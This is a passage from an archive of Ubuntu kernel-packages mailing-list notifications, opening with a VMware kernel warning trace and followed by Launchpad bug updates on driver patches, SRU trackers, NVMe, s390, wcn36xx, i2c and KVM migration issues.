hot-added
  Mar  6 17:42:17 vmware-virtual-machine CommAmqpListener[2376]: Initializing 
CommAmqpListener
  Mar  6 17:42:17 vmware-virtual-machine kernel: [  610.431990] SMP 
alternatives: switching to SMP code
  Mar  6 17:42:17 vmware-virtual-machine kernel: [  610.487612] x86: Booting 
SMP configuration:
  Mar  6 17:42:17 vmware-virtual-machine kernel: [  610.487616] smpboot: 
Booting Node 0 Processor 1 APIC 0x2
  Mar  6 17:42:17 vmware-virtual-machine kernel: [  610.489517] Disabled fast 
string operations
  Mar  6 17:42:17 vmware-virtual-machine kernel: [  610.492082] smpboot: CPU 1 
Converting physical 2 to logical package 1
  Mar  6 17:42:17 vmware-virtual-machine kernel: [  610.493162] Will online and 
init hotplugged CPU: 1
  Mar  6 17:42:17 vmware-virtual-machine kernel: [  610.524713] [ 
cut here ]
  Mar  6 17:42:17 vmware-virtual-machine kernel: [  610.524726] WARNING: CPU: 1 
PID: 2402 at /build/linux-hwe-4GXcua/linux-hwe-4.13.0/block/blk-mq.c:1106 
__blk_mq_run_hw_queue+0x7b/0xa0
  Mar  6 17:42:17 vmware-virtual-machine kernel: [  610.524727] Modules linked 
in: vmw_vsock_vmci_transport vsock nls_iso8859_1 vmw_balloon sb_edac 
crct10dif_pclmul crc32_pclmul ghash_clmulni_intel pcbc aesni_intel aes_x86_64 
crypto_simd glue_helpe
  r cryptd intel_rapl_perf joydev input_leds serio_raw shpchp vmw_vmci 
i2c_piix4 nfit tpm_crb mac_hid parport_pc ppdev lp parport autofs4 vmw_pvscsi 
vmwgfx ttm drm_kms_helper psmouse syscopyarea sysfillrect sysimgblt fb_sys_fops 
mptspi mptscsih drm
   mptbase nvme nvme_core vmxnet3 scsi_transport_spi ahci libahci pata_acpi 
floppy
  Mar  6 17:42:17 vmware-virtual-machine kernel: [  610.525006] CPU: 1 PID: 
2402 Comm: kworker/1:0H Not tainted 4.13.0-36-generic #40~16.04.1-Ubuntu
  Mar  6 17:42:17 vmware-virtual-machine kernel: [  610.525008] Hardware name: 
VMware, Inc. VMware7,1/440BX Desktop Reference Platform, BIOS 
VMW71.00V.7915097.B64.1802282254 02/28/2018
  Mar  6 17:42:17 vmware-virtual-machine kernel: [  610.525013] Workqueue: 
kblockd blk_mq_run_work_fn
  Mar  6 17:42:17 vmware-virtual-machine kernel: [  610.525016] task: 
8ab5326b task.stack: a694441d8000
  Mar  6 17:42:17 vmware-virtual-machine kernel: [  610.525021] RIP: 
0010:__blk_mq_run_hw_queue+0x7b/0xa0
  Mar  6 17:42:17 vmware-virtual-machine kernel: [  610.525023] RSP: 
0018:a694441dbe38 EFLAGS: 00010202
  Mar  6 17:42:17 vmware-virtual-machine kernel: [  610.525026] RAX: 
0001 RBX: 8ab50b4edc00 RCX: 8ab53c662760
  Mar  6 17:42:17 vmware-virtual-machine kernel: [  610.525028] RDX: 
8ab50b9cba60 RSI: 8ab50b4edc40 RDI: 8ab50b4edc00
  Mar  6 17:42:17 vmware-virtual-machine kernel: [  610.525029] RBP: 
a694441dbe50 R08:  R09: 0001
  Mar  6 17:42:17 vmware-virtual-machine kernel: [  610.525031] R10: 
02e2 R11: 029b R12: 8ab5310d69c0
  Mar  6 17:42:17 vmware-virtual-machine kernel: [  610.525032] R13: 
8ab53c662740 R14: 8ab53c668300 R15: 
  Mar  6 17:42:17 vmware-virtual-machine kernel: [  610.525036] FS:  
() GS:8ab53c64() knlGS:
  Mar  6 17:42:17 vmware-virtual-machine kernel: [  610.525038] CS:  0010 DS: 
 ES:  

[Kernel-packages] [Bug 1772434] Re: Broadcom: IT (HBA) Driver Enablement in 18.04 (Patches)

2018-08-21 Thread Joseph Salisbury
Hi Sujith,

Do you know if the test kernel posted in comment #4 was tested?  It's
been some time, and I think we were waiting for the test result of that
kernel before submitting the SRU request.

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1772434

Title:
  Broadcom:  IT (HBA) Driver Enablement in 18.04 (Patches)

Status in dellserver:
  In Progress
Status in linux package in Ubuntu:
  In Progress
Status in linux source package in Bionic:
  In Progress

Bug description:
  The purpose of this bug is to track the patches needed to enable the
  IT (HBA) driver into 18.04.

  Below are upstream commit ids of IT driver which went in over the in-
  box driver of Ubuntu18.04 OS’s base kernel,


  864449eea7c600596e305ffdc4a6a846414b222c scsi: mpt3sas: Do not mark
  fw_event workqueue as WQ_MEM_RECLAIM

  6f9e09fd6488de7661ee20efb5d8ab4e05a59735 scsi: mpt3sas: clarify mmio
  pointer types

  40114bde9773ccaf9ad77233ac2cc9039f0f2941 scsi: mpt3sas: Do not use
  32-bit atomic request descriptor for Ventura controllers.

  b4472d7180894c96b6133ef5ff3df50836591eaa scsi: mpt3sas: Introduce
  function to clone mpi reply.

  e5747439366c1079257083f231f5dd9a84bf0fd7 scsi: mpt3sas: Introduce
  function to clone mpi request.

  182ac784b41faee02e8b44cd7149575258ad6858 scsi: mpt3sas: Introduce Base
  function for cloning.

  22ae5a3c2599381cf7aaa5aca25c515a3166adcc scsi: mpt3sas: Introduce API
  to get BAR0 mapped buffer address

  0448f0195124e33f11d15b7d1e1cab959989eee7 scsi: mpt3sas: Configure
  reply post queue depth, DMA and sgl tablesize.

  c520691b38cde1d94f53e5782feba892f5645043 scsi: mpt3sas: Add PCI device
  ID for Andromeda.

  4a8842de8db4953fdda7866626b78b12fb8adb97 scsi: mpt3sas: fix an out of
  bound write

  61dfb8a5fb7e93e692856026fa4c778a27f28984 scsi: mpt3sas: make function
  _get_st_from_smid static

  dbec4c9040edc15442c3ebdb65408aa9d3b82c24 scsi: mpt3sas: lockless
  command submission

  272e253c7bcabfeef5f4d0aaed94a413e13e520f scsi: mpt3sas: simplify
  _wait_for_commands_to_complete()

  6da999fe5a9285c2a78f3cf1e768abcd48d7607e scsi: mpt3sas: simplify
  mpt3sas_scsi_issue_tm()

  74fcfa5371b7a681e864d3a9d3b9ecfd5737d8ea scsi: mpt3sas: simplify task
  management functions

  b0cd285eb57cd3cb18d882565c22d39bccffe7f0 scsi: mpt3sas: always use
  first reserved smid for ioctl passthrough

  9961c9bbf2b43acaaf030a0fbabc9954d937ad8c scsi: mpt3sas: check command
  status before attempting abort

  12e7c6782bc58128392b768fc2a87b230414a2a5 scsi: mpt3sas: Introduce
  mpt3sas_get_st_from_smid()

  02a386df3678275b01eec71fee39735c379e4a2a scsi: mpt3sas: open-code
  _scsih_scsi_lookup_get()

  6a2d4618aef3d4ffb83514e5e58a091d61e54a03 scsi: mpt3sas: separate out
  _base_recovery_check()

  05303dfb738066ad597d7feb422ff9fa2d3d8ef3 scsi: mpt3sas: use
  list_splice_init()

  ba4494d47bd02e5757b449a2ccfa3ff87bc8 scsi: mpt3sas: set default
  value for cb_idx

  f49d4aed1315a7b766d855f1367142e682b0cc87 scsi: mpt3sas: Proper
  handling of set/clear of "ATA command pending" flag.

  45b7aef7fb7d5f5bfa3a2a6727f1accf7660f6fd scsi: mpt3sas: Remove unused
  variable requeue_event

To manage notifications about this bug go to:
https://bugs.launchpad.net/dellserver/+bug/1772434/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1787390] Re: linux-azure: 4.15.0-1022.22~14.04.1 -proposed tracker

2018-08-21 Thread Brad Figg
** Changed in: kernel-sru-workflow/promote-to-proposed
   Status: Confirmed => Fix Committed

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux-azure in Ubuntu.
https://bugs.launchpad.net/bugs/1787390

Title:
  linux-azure: 4.15.0-1022.22~14.04.1 -proposed tracker

Status in Kernel SRU Workflow:
  In Progress
Status in Kernel SRU Workflow automated-testing series:
  New
Status in Kernel SRU Workflow certification-testing series:
  Invalid
Status in Kernel SRU Workflow prepare-package series:
  Fix Released
Status in Kernel SRU Workflow prepare-package-meta series:
  Fix Released
Status in Kernel SRU Workflow prepare-package-signed series:
  Fix Released
Status in Kernel SRU Workflow promote-to-proposed series:
  Fix Committed
Status in Kernel SRU Workflow promote-to-security series:
  New
Status in Kernel SRU Workflow promote-to-updates series:
  New
Status in Kernel SRU Workflow regression-testing series:
  New
Status in Kernel SRU Workflow security-signoff series:
  New
Status in Kernel SRU Workflow stakeholder-signoff series:
  New
Status in Kernel SRU Workflow upload-to-ppa series:
  New
Status in Kernel SRU Workflow verification-testing series:
  New
Status in linux-azure package in Ubuntu:
  Invalid
Status in linux-azure source package in Trusty:
  Confirmed

Bug description:
  This bug is for tracking the 4.15.0-1022.22~14.04.1 upload package.
  This bug will contain status and testing results related to that
  upload.

  For an explanation of the tasks and the associated workflow see: 
https://wiki.ubuntu.com/Kernel/kernel-sru-workflow
  -- swm properties --
  boot-testing-requested: true
  kernel-stable-master-bug: 1787149
  phase: Uploaded

To manage notifications about this bug go to:
https://bugs.launchpad.net/kernel-sru-workflow/+bug/1787390/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1788222] [NEW] Bugfix for handling of shadow doorbell buffer

2018-08-21 Thread David Coronel
Public bug reported:

This request is to pull in the following patch for NVMe bug from
https://lore.kernel.org/patchwork/patch/974880/ in the linux-gcp kernel:

===
This patch adds full memory barrier into nvme_dbbuf_update_and_check_event
function to ensure that the shadow doorbell is written before reading
EventIdx from memory. This is a critical bugfix for initial patch that
added support for shadow doorbell into NVMe driver[...].

** Affects: linux-gcp (Ubuntu)
 Importance: Undecided
 Status: New

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux-gcp in Ubuntu.
https://bugs.launchpad.net/bugs/1788222

Title:
  Bugfix for handling of shadow doorbell buffer

Status in linux-gcp package in Ubuntu:
  New

Bug description:
  This request is to pull in the following patch for NVMe bug from
  https://lore.kernel.org/patchwork/patch/974880/ in the linux-gcp
  kernel:

  ===
  This patch adds full memory barrier into nvme_dbbuf_update_and_check_event
  function to ensure that the shadow doorbell is written before reading
  EventIdx from memory. This is a critical bugfix for initial patch that
  added support for shadow doorbell into NVMe driver[...].

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux-gcp/+bug/1788222/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1787898] Re: [18.10 FEAT] Add kernel config option "CONFIG_SCLP_OFB"

2018-08-21 Thread Dimitri John Ledkov
** Description changed:

  For successfully booting an IBM Secure Service Container Appliance in an s390 
LPAR, we need to be able to send the OFB (Open for Business) message to the 
Support Element to signal when the Appliance is fully up and running.
  Basic support for OFB was added to the kernel with the following commit
  
https://github.com/projectacrn/acrn-kernel/commit/c6f70d3b8a32fdec60d3f78cb59423f056f16688
  
  The kernel config option CONFIG_SCLP_OFB need to be set
  
  This update is mandatory for 18.04 , but need to be requested first for
  18.10
+ 
+ $ git grep SCLP_OFB
+ debian.master/config/annotations:CONFIG_SCLP_OFB  
   policy<{'s390x': 'n'}>
+ debian.master/config/config.common.ubuntu:# CONFIG_SCLP_OFB is not set

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1787898

Title:
  [18.10 FEAT] Add kernel config option "CONFIG_SCLP_OFB"

Status in Ubuntu on IBM z Systems:
  New
Status in linux package in Ubuntu:
  New
Status in linux source package in Bionic:
  New
Status in linux source package in Cosmic:
  New

Bug description:
  For successfully booting an IBM Secure Service Container Appliance in an s390 
LPAR, we need to be able to send the OFB (Open for Business) message to the 
Support Element to signal when the Appliance is fully up and running.
  Basic support for OFB was added to the kernel with the following commit
  
https://github.com/projectacrn/acrn-kernel/commit/c6f70d3b8a32fdec60d3f78cb59423f056f16688

  The kernel config option CONFIG_SCLP_OFB need to be set

  This update is mandatory for 18.04 , but need to be requested first
  for 18.10

  $ git grep SCLP_OFB
  debian.master/config/annotations:CONFIG_SCLP_OFB  
   policy<{'s390x': 'n'}>
  debian.master/config/config.common.ubuntu:# CONFIG_SCLP_OFB is not set

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu-z-systems/+bug/1787898/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1776631] Re: [18.10 FEAT] I/O device pre-configuration

2018-08-21 Thread Launchpad Bug Tracker
This bug was fixed in the package s390-tools - 2.6.0-0ubuntu2

---
s390-tools (2.6.0-0ubuntu2) cosmic; urgency=medium

  * Add zdev initramfs hooks to initialize firmware provided devices by
default. LP: #1776631

s390-tools (2.6.0-0ubuntu1) cosmic; urgency=medium

  * New upstream release.
  * Add a zkey subpackage LP: #1786460.

 -- Dimitri John Ledkov   Tue, 21 Aug 2018 15:06:21
+0100

** Changed in: s390-tools (Ubuntu)
   Status: Fix Committed => Fix Released

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1776631

Title:
  [18.10 FEAT] I/O device pre-configuration

Status in Ubuntu on IBM z Systems:
  In Progress
Status in linux package in Ubuntu:
  Fix Released
Status in s390-tools package in Ubuntu:
  Fix Released
Status in s390-tools source package in Bionic:
  New

Bug description:
  I/O device auto-configuration is a mechanism by which users can specify IDs 
and settings of I/O devices that should be automatically enabled in Linux. 
Users enter this information for an LPAR via an HMC running in DPM mode. During 
boot, Linux obtains this information via an SCLP call (details to be defined) 
and triggers the resulting configuration actions (e.g. using the chzdev 
command).
  Available with kernel 4.17

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu-z-systems/+bug/1776631/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1776491] Re: linux-snapdragon: wcn36xx: mac address generation on boot

2018-08-21 Thread Kleber Sacilotto de Souza
Verified by Paolo.

$ uname -a
 Linux dragon410c 4.15.0-33-snapdragon #36-Ubuntu SMP Wed Aug 15 
15:57:54 UTC 2018 aarch64 aarch64 aarch64 GNU/Linux

** Tags removed: verification-needed-bionic
** Tags added: verification-done-bionic

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1776491

Title:
  linux-snapdragon: wcn36xx: mac address generation on boot

Status in linux package in Ubuntu:
  Fix Released
Status in linux source package in Bionic:
  Fix Committed

Bug description:
  Impact:

  The wcn36xx driver in Xenial/linux-snapdragon had an ability to
  autogenerate its MAC address upon boot, or read it from a file
  (/lib/firmware/wlan/macaddr0). The linux-snapdragon kernel in Bionic
  doesn't have this feature.

  While by itself not a bug (Xenial used a QCOM provided custom driver,
  while Bionic uses the upstream wcn36xx driver), it can be easily work-
  arounded by specifying the hw address in /etc/network/interfaces, or
  set using ifconfig on the command line, but it turned out to be a real
  problem on ubuntu core:

  1) upon boot, with no MAC address assigned, the wcn36xx assigns itself the
  dummy address "00:00:00:00:00" and that prevents the network interface from 
working at all, until a valid address is set

  2) the ubuntu core installer doesn't have any knowledge about this
  behaviour, it simply tries to bring up the interface and on failure,
  it marks it as 'not working'

  On top of that, ubuntu core ships a small script in initramfs, that
  generates the /lib/firmware/wlan/macaddr0 file starting from the
  android boot serial, effectively generating a unique MAC address per
  board: clearly, without driver support, this ubuntu core feature
  doesn't work.

  Fix:

  Import back the MAC generation mechanism from Xenial: the pseudo random
  generation and the parsing of /lib/firmware/wlan/macaddr0 - see the attached 
patch.

  How to test:

  Unpon boot, if no /lib/firmware/wlan/macaddr0 is present, the kernel
  will print:

  [ 10.612701] wcn36xx a204000.wcnss:smd-edge:wcnss:wifi: Direct firmware load 
for wlan/macaddr0 failed with error -2
  [ 10.612713] wcn36xx a204000.wcnss:smd-edge:wcnss:wifi: Failed (-2) to read 
macaddressfile wlan/macaddr0, using a random address instead

  ubuntu@dragon410c:~$ ifconfig wlan0
  wlan0: flags=4098 mtu 1500
  ether 00:0a:f5:d5:54:d7 txqueuelen 1000 (Ethernet)
  RX packets 0 bytes 0 (0.0 B)
  RX errors 0 dropped 0 overruns 0 frame 0
  TX packets 0 bytes 0 (0.0 B)
  TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

  else, if /lib/firmware/wlan/macaddr0 is present, its content will be
  used to generate wlan0 MAC address:

  ubuntu@dragon410c:~$ cat /lib/firmware/wlan/macaddr0
  fe:1a:19:77:d9:88

  ubuntu@dragon410c:~$ ifconfig wlan0
  wlan0: flags=4098 mtu 1500
  ether fe:1a:19:77:d9:88 txqueuelen 1000 (Ethernet)
  RX packets 0 bytes 0 (0.0 B)
  RX errors 0 dropped 0 overruns 0 frame 0
  TX packets 0 bytes 0 (0.0 B)
  TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

  Regression potential:

  Low - the patch is small and the code is wrapped in a Kconfig option
  (WCN36XX_SNAPDRAGON_HACKS) that only affects the linux-snapdragon flavour,
  leaving the generic kernel untouched.

  ---

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1776491/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1787898] Re: [18.10 FEAT] Add kernel config option "CONFIG_SCLP_OFB"

2018-08-21 Thread Dimitri John Ledkov
** Information type changed from Private to Public

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1787898

Title:
  [18.10 FEAT] Add kernel config option "CONFIG_SCLP_OFB"

Status in Ubuntu on IBM z Systems:
  New
Status in linux package in Ubuntu:
  New
Status in linux source package in Bionic:
  New
Status in linux source package in Cosmic:
  New

Bug description:
  For successfully booting an IBM Secure Service Container Appliance in an s390 
LPAR, we need to be able to send the OFB (Open for Business) message to the 
Support Element to signal when the Appliance is fully up and running.
  Basic support for OFB was added to the kernel with the following commit
  
https://github.com/projectacrn/acrn-kernel/commit/c6f70d3b8a32fdec60d3f78cb59423f056f16688

  The kernel config option CONFIG_SCLP_OFB need to be set

  This update is mandatory for 18.04 , but need to be requested first
  for 18.10

  $ git grep SCLP_OFB
  debian.master/config/annotations:CONFIG_SCLP_OFB  
   policy<{'s390x': 'n'}>
  debian.master/config/config.common.ubuntu:# CONFIG_SCLP_OFB is not set

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu-z-systems/+bug/1787898/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1783746] Re: ipmmu is always registered

2018-08-21 Thread Paolo Pisati
** Changed in: linux (Ubuntu)
 Assignee: (unassigned) => Paolo Pisati (p-pisati)

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1783746

Title:
  ipmmu is always registered

Status in linux package in Ubuntu:
  Confirmed

Bug description:
  Hi,

  booting the bionic kernel (4.15.0-29-generic) on my Tegra20 device (no
  iommu), I found it crashes during display driver setup. The bootlog
  (and crash) is attached. Asking on Tegra IRC channel, digetx found
  that this is caused by the IPMMU-VMSA driver which is always
  registered via initcall. Adding "initcall_blacklist=ipmmu_init" to the
  kernel parameters makes it boot fine.

  Maybe this buggy driver should be disabled in the config (or fixed
  somehow)?

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1783746/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1787945] Re: Tango platform uses __initcall without further checks

2018-08-21 Thread Paolo Pisati
** Changed in: linux (Ubuntu)
 Assignee: (unassigned) => Paolo Pisati (p-pisati)

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1787945

Title:
  Tango platform uses __initcall without further checks

Status in linux package in Ubuntu:
  Confirmed

Bug description:
  The TANGO platform is enabled by default in the multiplatform ARM
  kernel. However, it calls __initcall in arch/arm/mach-tango/pm.c
  without a check whether it actually runs on this hw. This causes an
  OOPS during suspend on my Tegra platform. Please disable this
  (multiplatform incompatible) arch.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1787945/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1787058] Re: ThinkPad systems have no HDMI sound when using the nvidia GPU

2018-08-21 Thread Kleber Sacilotto de Souza
** Also affects: linux (Ubuntu Bionic)
   Importance: Undecided
   Status: New

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1787058

Title:
  ThinkPad systems have no HDMI sound when using the nvidia GPU

Status in HWE Next:
  New
Status in linux package in Ubuntu:
  In Progress
Status in linux source package in Bionic:
  New

Bug description:
  Some ThinkPad systems have a power-saving feature that turns off
  Nvidia HDMI audio device in Windows, but NVidia Linux driver does not
  support this feature. As a result, HDMI audio will not work on Linux.

  A BIOS workaround is added with an OEM_OSI string "Linux-Lenovo-NV-
  HDMI-Audio" which needs enabling in Linux kernel too.

To manage notifications about this bug go to:
https://bugs.launchpad.net/hwe-next/+bug/1787058/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1776631] Re: [18.10 FEAT] I/O device pre-configuration

2018-08-21 Thread Dimitri John Ledkov
** Changed in: s390-tools (Ubuntu)
   Status: New => Fix Committed

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1776631

Title:
  [18.10 FEAT] I/O device pre-configuration

Status in Ubuntu on IBM z Systems:
  In Progress
Status in linux package in Ubuntu:
  Fix Released
Status in s390-tools package in Ubuntu:
  Fix Committed
Status in s390-tools source package in Bionic:
  New

Bug description:
  I/O device auto-configuration is a mechanism by which users can specify IDs 
and settings of I/O devices that should be automatically enabled in Linux. 
Users enter this information for an LPAR via an HMC running in DPM mode. During 
boot, Linux obtains this information via an SCLP call (details to be defined) 
and triggers the resulting configuration actions (e.g. using the chzdev 
command).
  Available with kernel 4.17

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu-z-systems/+bug/1776631/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1776631] Re: [18.10 FEAT] I/O device pre-configuration

2018-08-21 Thread Dimitri John Ledkov
** Information type changed from Private to Public

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1776631

Title:
  [18.10 FEAT] I/O device pre-configuration

Status in Ubuntu on IBM z Systems:
  In Progress
Status in linux package in Ubuntu:
  Fix Released
Status in s390-tools package in Ubuntu:
  New
Status in s390-tools source package in Bionic:
  New

Bug description:
  I/O device auto-configuration is a mechanism by which users can specify IDs 
and settings of I/O devices that should be automatically enabled in Linux. 
Users enter this information for an LPAR via an HMC running in DPM mode. During 
boot, Linux obtains this information via an SCLP call (details to be defined) 
and triggers the resulting configuration actions (e.g. using the chzdev 
command).
  Available with kernel 4.17

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu-z-systems/+bug/1776631/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1783140] Comment bridged from LTC Bugzilla

2018-08-21 Thread bugproxy
--- Comment From heinz-werner_se...@de.ibm.com 2018-08-21 09:46 EDT---
@xnox, I will leave this ticket open till a final soluition is available.

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1783140

Title:
  KVM live migration fails

Status in The Ubuntu-power-systems project:
  Triaged
Status in linux package in Ubuntu:
  Triaged
Status in qemu package in Ubuntu:
  Incomplete

Bug description:
  Environment:
  2 POWER8 with Ubuntu 16.04.4 LTS as KVM hypervisor.
  1 KVM guest with Ubuntu 18.04 LTS. Virtual disk for the guest is a qcow2 file 
on an NFS share, accessible from both hypervisors, so live migration is 
possible and works for all other guests (SLES, RHEL, Ubunutu 16.04),
  Live migratino of Ubuntu 18.04 guest fails on ppc, while the same test on an 
x86_64 environment suceeds.

  root@pkvm2:~# virsh migrate --persistent --live p8lnxtst4 
qemu+ssh://pkvm1/system
  error: internal error: early end of file from monitor, possible problem: 
2018-07-23T11:12:25.586385Z qemu-system-ppc64: VQ 0 size 0x100 Guest index 
0x38aa inconsistent with Host index 0xa980: delta 0x8f2a
  2018-07-23T11:12:25.586434Z qemu-system-ppc64: error while loading state for 
instance 0x0 of device 'pci@8002000:01.0/virtio-net'
  2018-07-23T11:12:25.587246Z qemu-system-ppc64: load of migration failed: 
Operation not permitted

  root@pkvm2:~# uname -a
  Linux pkvm2 4.4.0-130-generic #156-Ubuntu SMP Thu Jun 14 08:51:21 UTC 2018 
ppc64le ppc64le ppc64le GNU/Linux

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu-power-systems/+bug/1783140/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1787240] Re: [Bionic] i2c: xlp9xx: Fix case where SSIF read transaction completes early

2018-08-21 Thread Kleber Sacilotto de Souza
** Also affects: linux (Ubuntu Bionic)
   Importance: Undecided
   Status: New

** Changed in: linux (Ubuntu Bionic)
   Status: New => In Progress

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1787240

Title:
  [Bionic] i2c: xlp9xx: Fix case where SSIF read transaction completes
  early

Status in linux package in Ubuntu:
  Incomplete
Status in linux source package in Bionic:
  In Progress

Bug description:
  [Impact]
  i2c: xlp9xx: Fix case where SSIF read transaction completes early
  During ipmi stress tests we see occasional failure of transactions
  at the boot time. This happens in the case of a I2C_M_RECV_LEN
  transactions, when the read transfer completes (with the initial
  read length of 34) before the driver gets a chance to handle interrupts.

  [Test]
  Use ipmitool to generate a lot of data read, run multiple instances of the 
following test:
  for i in {1..200}; do sudo ipmitool sel list  ; sudo ipmitool sensor list ; 
sudo ipmitool sdr list ; sudo ipmitool sel list ; done

  [Fix]
  Following upstream patch fixes this issue:
  commit 5eb173f5c8f3a3cdc47b3952c368f10a28c81ab8
  Author: George Cherian 
  Date: Wed Aug 8 23:36:48 2018 -0700

  i2c: xlp9xx: Fix case where SSIF read transaction completes early

  [Regression Risk]
  The fix is to the i2c-xlp9xx driver, and does not impact any platform code. 
Risk of regression is low.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1787240/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1786981] Re: [Bionic] i2c: xlp9xx: Add SMBAlert support

2018-08-21 Thread Kleber Sacilotto de Souza
** Also affects: linux (Ubuntu Bionic)
   Importance: Undecided
   Status: New

** Changed in: linux (Ubuntu Bionic)
   Status: New => In Progress

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1786981

Title:
  [Bionic] i2c: xlp9xx: Add SMBAlert support

Status in linux package in Ubuntu:
  Incomplete
Status in linux source package in Bionic:
  In Progress

Bug description:
  [IMPACT]
  Add support for SMBAlert to the ThunderX2 i2c driver

  [TEST]
  $ dmesg | grep -i smbalert
  [ 36.993477] i2c i2c-0: supports SMBALERT#

  [FIX]
  40f4e372cba8 i2c: xlp9xx: Add support for SMBAlert

  [REGRESSION POTENTIAL]
  The patch enables SMBus Alert mechanism to i2c-xlp9xx driver. The patch is 
limited to the i2c driver and does not impact any platform code. Risk of 
regression is low.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1786981/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1788170] [NEW] Atheros Communications, Inc. AR3012 Bluetooth 4.0 (0cf3:3004) Not working

2018-08-21 Thread Diogo Melo Rocha
Public bug reported:

Hello,

Since my upgrade from 16.04 to 18.04, the Bluetooh Atheros
